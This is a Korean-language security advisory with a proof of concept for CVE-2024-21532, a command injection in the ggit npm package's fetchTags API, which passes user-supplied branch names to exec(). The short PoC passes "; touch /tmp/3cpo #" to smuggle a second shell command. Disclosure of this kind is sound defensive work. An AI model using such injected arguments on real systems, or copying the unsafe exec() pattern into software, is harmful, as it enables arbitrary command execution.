
CVE-2024-21532에 대한 개념 증명 익스플로잇으로, ggit npm 패키지의 fetchTags API에 존재하는 명령 주입 취약점을 통해 안전하지 않은 exec() 사용을 입증합니다.
ggit은 자신을 다음과 같이 설명합니다:
Local promise-returning git command wrappers
리소스:
이 취약점에 대한 분석 기사: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
ggit npm 패키지에서 명령 주입(Command Injection) 취약점을 보고합니다.
이 취약점은 라이브러리의 fetchTags(branch) API에서 발생합니다. 이 API는 사용자 입력으로 가져올 브랜치를 지정할 수 있게 한 뒤, 이 문자열을 git 명령과 함께 연결하여 안전하지 않은 Node.js 자식 프로세스 API인 exec()에 전달합니다.
[email protected] 이하 버전을 설치합니다const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpo에 새 파일이 생성된 것을 확인합니다이 프로젝트에 기여하기 위한 지침은 CONTRIBUTING을 참조하세요.
Liran Tal